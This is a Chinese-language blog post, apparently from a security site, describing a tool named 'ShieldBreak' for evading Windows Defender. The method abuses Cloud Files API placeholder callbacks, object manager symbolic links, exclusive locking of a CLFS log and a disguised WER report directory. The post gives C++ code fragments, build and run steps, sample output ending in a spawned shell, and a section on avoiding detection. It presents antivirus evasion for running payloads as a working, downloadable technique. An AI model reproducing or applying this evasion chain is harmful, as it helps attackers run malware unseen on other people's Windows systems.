从云同步到内核盲区:ShieldBreak 免杀

从云同步到内核盲区:ShieldBreak 免杀

简介

  • 利用 Windows 云同步机制 + CLFS 日志锁定,让 Defender 扫描一个被锁定的空日志,而你的 payload 在另一边安静运行。

阅读前 你需要先了解以下概念

术语

说明

CF API

Cloud Files API,Windows 10+ 的云文件同步接口,允许第三方注册云同步提供程序

CLFS

Common Log File System,Windows 内核日志系统,支持独占锁

ADS

备用数据流(Alternate Data Stream),形如 file.txt:stream

WER

Windows Error Reporting,系统错误报告机制,Defender 通常不深度扫描

Object Manager

Windows 内核对象管理器,管理命名对象和符号链接

Placeholder

云同步占位符,文件内容未实际下载,仅存在元数据

为什么能绕过 EDR?

主流 EDR 的工作方式是在文件被访问时触发扫描回调。但 ShieldBreak 展示了三个关键绕过点:

  1. 扫描路径欺骗 - 让 Defender 扫描一个被锁定的 CLFS 日志,而非真实 payload

  2. 数据流替换 - 通过 Cloud Files 回调,在 Defender 读取时动态返回恶意数据

  3. 伪装输出 - 最终产物伪装成 WER 错误报告,规避文件类型检测

攻击流程图

七度光 www.qdg.tw 七度光 www.qdg.tw 启动 ShieldBreak 管理员权限执行 步骤一:创建临时目录 - 生成 GUID 作为目录名 - 设置全局读写权限 - 路径: C:\ShieldBreak_{GUID} 步骤二:注册云同步提供程序 - CLSID: B196E670-59C7-4D41 - 名称: Flubber v1.0 - 策略: 允许硬链接+全 hydration 步骤三:连接云同步根 注册回调函数 CLBK,拦截文件访问请求 创建对象管理器目录 - WD_TARGET_{GUID} (目标目录) - WD_SHADOW_{GUID} (阴影目录) - 位于 \BaseNamedObjects\Restricted 创建符号链接 - WD_SCAN -> C:\ShieldBreak_{GUID} - 重定向扫描路径 - 隐藏真实文件位置 创建占位符 BERLIN 文件 锁定 CLFS 日志 ★ 核心绕过 触发 Defender 扫描 扫描锁定日志 伪装 WER 报告 Report.wer 绕过实时防护 Defender 扫描锁定日志 CVE-2026-50656 RoguePlanet 漏洞利用 成功执行 Payload Warden.dll 加载 自动清理痕迹 删除符号链接

上图展示了从注册云同步提供程序到最终绕过 Defender 的完整链路。

技术原理详解

第一步:注册云同步提供程序

Cloud Files API 允许第三方注册云同步提供程序,拦截文件访问请求。这是整个免杀链的基础。

步骤一:创建临时工作目录

std::wstring workdir = L"C:\\ShieldBreak_{GUID}";
// 设置全局权限,确保 Defender 可以访问

步骤二:注册提供程序

GUID ProviderId;
CLSIDFromString(L"{B196E670-59C7-4D41-9637-C62D80541321}", &ProviderId);
CF_SYNC_REGISTRATION reg = { 0 };
reg.ProviderName = L"Flubber";
reg.ProviderVersion = L"1.0";
reg.ProviderId = ProviderId;

// 注册策略:允许硬链接 + 完全 hydration
CF_SYNC_POLICIES policies = { 0 };
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;

步骤三:创建占位符文件

CF_PLACEHOLDER_CREATE_INFO place_holders[1] = { 0 };
place_holders[0].RelativeFileName = L"BERLIN";
place_holders[0].FsMetadata.FileSize.QuadPart = dwSize_zip;  // 设置文件大小
place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
CfCreatePlaceholders(workdir.c_str(), place_holders, 1, CF_CREATE_FLAG_NONE, &pentries);

关键点:此时 BERLIN 文件只是一个占位符,实际内容尚未写入磁盘。

第二步:创建对象管理器符号链接

步骤一:创建受限目录

// 目标目录:存放真实文件
std::wstring targetobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_TARGET_{GUID}";
ObjectDirMgr* targetdir = new ObjectDirMgr((wchar_t*)targetobjdirpath.c_str());

// 阴影目录:用于重定向扫描路径
std::wstring shadowobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_{GUID}";
ObjectDirMgr* shadowdir = new ObjectDirMgr((wchar_t*)shadowobjdirpath.c_str(), targetdir->GetHandle());

步骤二:创建符号链接

// 链接 WD_SCAN -> C:\ShieldBreak_{GUID}
ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr(L"WD_SCAN", ntworkdir.c_str(), shadowdir->GetHandle());

// 链接 CLFS 日志路径
std::wstring mnlnktarget = L"\\CLFS\\??\\" + workdir;
ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr(L"WD_SCAN", mnlnktarget.c_str(), targetdir->GetHandle());

关键点:通过对象管理器符号链接,可以隐藏真实文件位置,并重定向 Defender 的扫描路径。

第三步:触发 Defender 扫描

步骤一:启动独立扫描线程

// 在独立线程中启动 Defender 扫描
HANDLE hthread = CreateThread(NULL, NULL, WDStartScan, NULL, NULL, &tid);

// 构造扫描路径(指向对象管理器中的符号链接)
std::wstring scan_path = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{GUID}\\WD_SCAN\\BERLIN";

步骤二:监控目录变化

// 等待 Defender 创建 CLFS 日志文件
do {
    retb = 0;
    if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, 
        FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL)) {
        // 检测到新文件
        break;
    }
} while (1);

第四步:锁定 CLFS 日志

步骤一:打开 CLFS 日志文件

std::wstring full_clfs_name = ntworkdir + L"\\" + std::wstring(nfilename);
HANDLE hclfs_file = NULL;
NtCreateFile(&hclfs_file, FILE_READ_DATA | SYNCHRONIZE, &_clfs_objattr, &iostat2, ...);

步骤二:执行独占锁

LARGE_INTEGER li = { 0 };
li.QuadPart = MAXLONGLONG;
OVERLAPPED ovp = { 0 };
LockFileEx(hclfs_file, LOCKFILE_EXCLUSIVE_LOCK | LOCKFILE_FAIL_IMMEDIATELY, 
           NULL, li.LowPart, li.HighPart, &ovp);

关键点:CLFS 日志被独占锁定后,Defender 无法访问该日志文件,扫描被阻断。

第五步:动态数据返回

Cloud Files 回调函数

void CALLBACK CLBK(
    IN CONST CF_CALLBACK_INFO* CallbackInfo,
    IN CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
    // 第一次回调:返回 eicar_com.zip 内容
    if (*RNA == 1) {
        opParams.TransferData.Buffer = pResourceData_zip;
        opParams.TransferData.Length.QuadPart = dwSize_zip;
        *RNA = 2;
    }
    // 第二次回调:返回 Warden.dll 内容
    else {
        opParams.TransferData.Buffer = pResourceData_dll;
        opParams.TransferData.Length.QuadPart = dwSize_dll;
    }
    CfExecute(&opInfo, &opParams);
}

关键点:当 Defender 尝试读取文件时,回调函数动态返回预置的恶意数据,而非磁盘上的实际内容。

第六步:伪装 WER 报告

步骤一:创建 WER 目录

wchar_t werdir[MAX_PATH];
wsprintf(werder, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid);

步骤二:创建伪装文件

wchar_t werfile[MAX_PATH];
wsprintf(werfile, L"%ws\\Report.wer", werdir);

关键点:WER 报告目录是 Defender 的"白名单区域",通常不会进行深度扫描。

实战操作

  • 准备环境 (目标机器)

项目

要求

操作系统

Windows 11 25H2(含 Canary 通道)或 Windows Server 2025

安全软件

Windows Defender(默认开启)

权限

管理员权限

文件系统

NTFS(支持 ADS 和对象管理器)

  • 验证环境

确认系统版本

winver

确认 Defender 状态

Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled

确认 CF API 可用性

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudFileSync

编译与准备

步骤一:导入项目文件

ShieldBreak/
├── ShieldBreak.cpp      # 主源码
├── Warden.dll          # 测试 payload
├── eicar_com.zip       # EICAR 测试样本
└── Report.wer          # WER 报告模板

步骤二:使用 Visual Studio 编译

# 打开 ShieldBreak.slnx
# 选择 Release x64 配置
# 编译生成 ShieldBreak.exe

执行免杀利用

步骤一:运行工具

.\ShieldBreak.exe

步骤二:观察输出

[+] C:\ShieldBreak_{GUID} was created.
[+] Cloud provider has been registered.
[+] Attached cloud provider to C:\ShieldBreak_{GUID}
[+] Placeholder created.
[+] \BaseNamedObjects\Restricted\WD_TARGET_{GUID} object manager directory created
[+] \BaseNamedObjects\Restricted\WD_SHADOW_{GUID} object manager directory created
[+] WD_SCAN <=> C:\ShieldBreak_{GUID} object link created
[+] Created C:\ShieldBreak_{GUID}\BERLIN
[+] Copied C:\Windows\System32\ntdll.dll => C:\ShieldBreak_{GUID}\BERLIN:stream
[*] Scan initiated for \\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{GUID}\WD_SCAN\BERLIN
[*] Please wait...
[+] Link deleted.
[+] CLFS log locked.
[+] C:\Windows\Temp\lsymlinktarget file locked.
[*] Attempting to spawn shell...
[+] Exploit succeeded.
[+] Powered by 七度光 | www.qdg.tw

步骤三:验证绕过结果

检查 Defender 是否报警

Get-MpThreat | Where-Object {$_.CreationDate -gt (Get-Date).AddMinutes(-5)}

检查 WER 目录

Get-ChildItem "C:\ProgramData\Microsoft\Windows\WER\" -Recurse

检查 Cloud Files 注册

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudFileSync\Providers

避免被检测

使用随机化名称

wchar_t mainguid[64] = { 0 };
GenerateGUID(mainguid);
// 每次使用不同的 GUID,增加基于文件名的检测难度

利用 Defender 自身行为

ShieldBreak 通过触发 Defender 主动扫描来绕过监控,而不是直接修改 Defender 配置。这使得操作看起来像是 Defender 的正常行为。

利用 WER 目录的"可信"属性

wsprintf(werder, L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\Kernel_c0000000_A_B_C-C-D-E-%ws", mainguid);

WER 目录是系统组件的"白名单区域",Defender 通常不会进行深度扫描。

工具下载


用微软的刀,杀微软的盾:BTR.sys Ring-0 免杀 2026-08-25
CVE-2026-9586:Sangoma Switchvox 未授权 SQL 注入导致远程代码执行 2026-09-05